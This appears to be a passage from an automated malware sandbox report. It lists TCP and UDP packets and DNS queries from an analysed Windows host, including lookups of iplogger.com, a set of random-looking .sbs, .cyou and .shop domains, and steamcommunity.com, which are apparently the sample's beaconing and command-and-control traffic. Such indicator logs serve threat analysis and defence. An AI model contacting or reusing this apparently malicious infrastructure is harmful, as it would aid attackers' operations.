Jan 11, 2025 09:26:49.206795931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.206801891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.206820011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.207571030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.207647085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.207653046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.207667112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.207722902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.207729101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.264508009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.287210941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.287233114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.287272930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.287314892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.287344933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.287353992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.287414074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.291779995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.291800022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.291877985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.291882992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.292272091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.292288065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.292345047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.292351961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.292963982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.292978048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.293030024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.293040991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.293062925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.293490887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.293510914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.293560982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.293565989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.293586969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.294184923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.294199944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.294248104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.294253111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.294270992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.294975042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.294994116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.295036077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.295041084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.295062065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.372005939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372071981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.372076035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372096062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372123957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.372512102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372530937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372559071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.372565985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.372606993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.378494024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.378514051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.378551960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.378556967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.378603935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.378936052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.378957033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.378993988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.378998995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379019976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.379595995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379616022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379642010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.379647970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379669905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.379935980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379950047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.379975080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.379980087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.380012035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.380824089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.380844116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.380877018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.380882978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.380928040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.381216049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.381231070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.381266117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.381273031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.381297112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.423357010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.458950996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.458976984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.459042072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.459059000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.459114075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.459310055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.459336996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.459369898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.459378958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.459408045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.459419966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.465210915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465229034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465289116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.465308905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465361118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.465676069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465692043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465743065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.465749979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.465790033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.466376066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.466392994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.466427088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.466433048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.466453075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.466473103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.467334032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.467350960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.467387915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.467406034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.467412949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.467437029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.467469931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.467506886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:50.817528963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:50.863333941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:51.434801102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:51.434847116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:51.434883118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:51.434892893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:52.589210033 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:52.589262009 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:52.589365959 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:52.591093063 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:52.591104984 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.070034981 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.070132017 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.071703911 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.071716070 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.072045088 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.073281050 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.115328074 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.221519947 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.221561909 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.221724987 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.221755981 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.226044893 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.226089001 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.226111889 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.226119995 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.226223946 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.226232052 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.231395006 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.231421947 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.231448889 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.231457949 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.231520891 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.231956959 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.279391050 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.279422998 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.311973095 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.312212944 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.312407970 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.316417933 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.316417933 CET	50019	443	192.168.2.7	188.114.96.3
Jan 11, 2025 09:26:53.316469908 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:26:53.316508055 CET	443	50019	188.114.96.3	192.168.2.7
Jan 11, 2025 09:27:06.695338011 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:06.695382118 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:06.695559025 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:06.696415901 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:06.696425915 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.345496893 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.346015930 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:07.346033096 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.347094059 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.347156048 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:07.351078033 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:07.351151943 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.404386044 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:07.404407978 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:07.451282978 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:17.253073931 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:17.253242016 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:27:17.253290892 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:18.473447084 CET	50021	443	192.168.2.7	216.58.206.68
Jan 11, 2025 09:27:18.473472118 CET	443	50021	216.58.206.68	192.168.2.7
Jan 11, 2025 09:28:02.850122929 CET	56627	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:28:02.855006933 CET	53	56627	1.1.1.1	192.168.2.7
Jan 11, 2025 09:28:02.855149031 CET	56627	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:28:02.859989882 CET	53	56627	1.1.1.1	192.168.2.7
Jan 11, 2025 09:28:03.323582888 CET	56627	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:28:03.328541994 CET	53	56627	1.1.1.1	192.168.2.7
Jan 11, 2025 09:28:03.328630924 CET	56627	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:25:58.091301918 CET	123	123	192.168.2.7	104.40.149.189
Jan 11, 2025 09:25:58.623089075 CET	123	123	104.40.149.189	192.168.2.7
Jan 11, 2025 09:25:59.642280102 CET	123	123	192.168.2.7	104.40.149.189
Jan 11, 2025 09:25:59.826237917 CET	123	123	104.40.149.189	192.168.2.7
Jan 11, 2025 09:26:02.369982958 CET	52316	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:02.370126963 CET	51451	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:02.377837896 CET	53	56469	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:02.377934933 CET	53	52316	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:02.382113934 CET	53	51451	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:02.518388987 CET	53	61619	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:03.179766893 CET	62781	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:03.180036068 CET	54540	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:03.187422037 CET	53	54540	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:03.188946962 CET	53	62781	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:03.502942085 CET	53	63233	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.050123930 CET	63949	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.050308943 CET	57750	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.056814909 CET	53	63949	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.057100058 CET	53	57750	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.109910011 CET	49370	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.110048056 CET	64983	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.121253967 CET	53	49370	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.125049114 CET	53	64983	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.849889040 CET	49993	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.850313902 CET	60547	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.856720924 CET	53	49993	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.857772112 CET	53	60547	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.864115000 CET	49954	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.864269972 CET	50751	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:05.870649099 CET	53	49954	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:05.870989084 CET	53	50751	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:06.804491997 CET	56820	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:06.804796934 CET	55639	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:06.810976028 CET	53	56820	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:06.811261892 CET	53	55639	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.585251093 CET	56696	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.602082968 CET	53	56696	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.605830908 CET	58009	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.615577936 CET	53	58009	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.618063927 CET	64785	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.626473904 CET	53	64785	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.628314018 CET	53470	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.637684107 CET	53	53470	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.639049053 CET	63976	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.649144888 CET	53	63976	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.650573015 CET	57767	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.659051895 CET	53	57767	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.660161972 CET	53118	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.669132948 CET	53	53118	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.670989037 CET	61593	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.679805994 CET	53	61593	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.681315899 CET	50900	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.689991951 CET	53	50900	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:18.695913076 CET	52702	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:18.703013897 CET	53	52702	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:19.974710941 CET	59179	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:19.986721992 CET	53	59179	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:20.820281029 CET	53	60030	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:26.197431087 CET	53	61843	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:32.166048050 CET	57010	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:32.469458103 CET	53	57010	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:48.773993015 CET	53	57827	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:52.577073097 CET	50910	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:26:52.588335037 CET	53	50910	1.1.1.1	192.168.2.7
Jan 11, 2025 09:26:53.866293907 CET	138	138	192.168.2.7	192.168.2.255
Jan 11, 2025 09:27:01.918215990 CET	53	65122	1.1.1.1	192.168.2.7
Jan 11, 2025 09:27:06.686975002 CET	63833	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:27:06.687156916 CET	61765	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:27:06.693784952 CET	53	63833	1.1.1.1	192.168.2.7
Jan 11, 2025 09:27:06.694051027 CET	53	61765	1.1.1.1	192.168.2.7
Jan 11, 2025 09:27:15.053756952 CET	61603	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:27:15.067462921 CET	53	61603	1.1.1.1	192.168.2.7
Jan 11, 2025 09:27:19.069442034 CET	53	57487	1.1.1.1	192.168.2.7
Jan 11, 2025 09:27:34.175873041 CET	56474	53	192.168.2.7	1.1.1.1
Jan 11, 2025 09:27:34.185184002 CET	53	56474	1.1.1.1	192.168.2.7
Jan 11, 2025 09:28:02.849687099 CET	53	55182	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:26:02.369982958 CET	192.168.2.7	1.1.1.1	0xc3e4	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:02.370126963 CET	192.168.2.7	1.1.1.1	0xd5d8	Standard query (0)	iplogger.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:03.179766893 CET	192.168.2.7	1.1.1.1	0x87dd	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:03.180036068 CET	192.168.2.7	1.1.1.1	0x2bfc	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:05.050123930 CET	192.168.2.7	1.1.1.1	0x658f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.050308943 CET	192.168.2.7	1.1.1.1	0xa030	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:05.109910011 CET	192.168.2.7	1.1.1.1	0x954f	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.110048056 CET	192.168.2.7	1.1.1.1	0x9767	Standard query (0)	iplogger.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:05.849889040 CET	192.168.2.7	1.1.1.1	0x8341	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.850313902 CET	192.168.2.7	1.1.1.1	0x9769	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:05.864115000 CET	192.168.2.7	1.1.1.1	0xe6c8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.864269972 CET	192.168.2.7	1.1.1.1	0xd8ae	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:06.804491997 CET	192.168.2.7	1.1.1.1	0x7344	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:06.804796934 CET	192.168.2.7	1.1.1.1	0xc0cd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2025 09:26:18.585251093 CET	192.168.2.7	1.1.1.1	0x23a4	Standard query (0)	cashju1cyh0.cyou	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.605830908 CET	192.168.2.7	1.1.1.1	0x1021	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.618063927 CET	192.168.2.7	1.1.1.1	0x6441	Standard query (0)	librari-night.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.628314018 CET	192.168.2.7	1.1.1.1	0xf815	Standard query (0)	befall-sm0ker.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.639049053 CET	192.168.2.7	1.1.1.1	0x10a1	Standard query (0)	p10tgrace.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.650573015 CET	192.168.2.7	1.1.1.1	0x1af4	Standard query (0)	peepburry828.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.660161972 CET	192.168.2.7	1.1.1.1	0x6b47	Standard query (0)	owner-vacat10n.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.670989037 CET	192.168.2.7	1.1.1.1	0x12f2	Standard query (0)	3xp3cts1aim.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.681315899 CET	192.168.2.7	1.1.1.1	0x3904	Standard query (0)	p3ar11fter.sbs	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.695913076 CET	192.168.2.7	1.1.1.1	0xb682	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.974710941 CET	192.168.2.7	1.1.1.1	0x3645	Standard query (0)	sputnik-1985.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:32.166048050 CET	192.168.2.7	1.1.1.1	0x1674	Standard query (0)	fitbudds.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:52.577073097 CET	192.168.2.7	1.1.1.1	0x6927	Standard query (0)	klipgylagyi.shop	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:06.686975002 CET	192.168.2.7	1.1.1.1	0xddf3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:06.687156916 CET	192.168.2.7	1.1.1.1	0xc23	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2025 09:27:15.053756952 CET	192.168.2.7	1.1.1.1	0xbfd3	Standard query (0)	klipgylagyi.shop	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:34.175873041 CET	192.168.2.7	1.1.1.1	0xfa37	Standard query (0)	klipgylagyi.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:26:02.377934933 CET	1.1.1.1	192.168.2.7	0xc3e4	No error (0)	iplogger.com		172.67.188.178	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:02.377934933 CET	1.1.1.1	192.168.2.7	0xc3e4	No error (0)	iplogger.com		104.21.76.57	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:02.382113934 CET	1.1.1.1	192.168.2.7	0xd5d8	No error (0)	iplogger.com			65	IN (0x0001)	false
Jan 11, 2025 09:26:03.188946962 CET	1.1.1.1	192.168.2.7	0x87dd	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.056814909 CET	1.1.1.1	192.168.2.7	0x658f	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.056814909 CET	1.1.1.1	192.168.2.7	0x658f	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.057100058 CET	1.1.1.1	192.168.2.7	0xa030	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
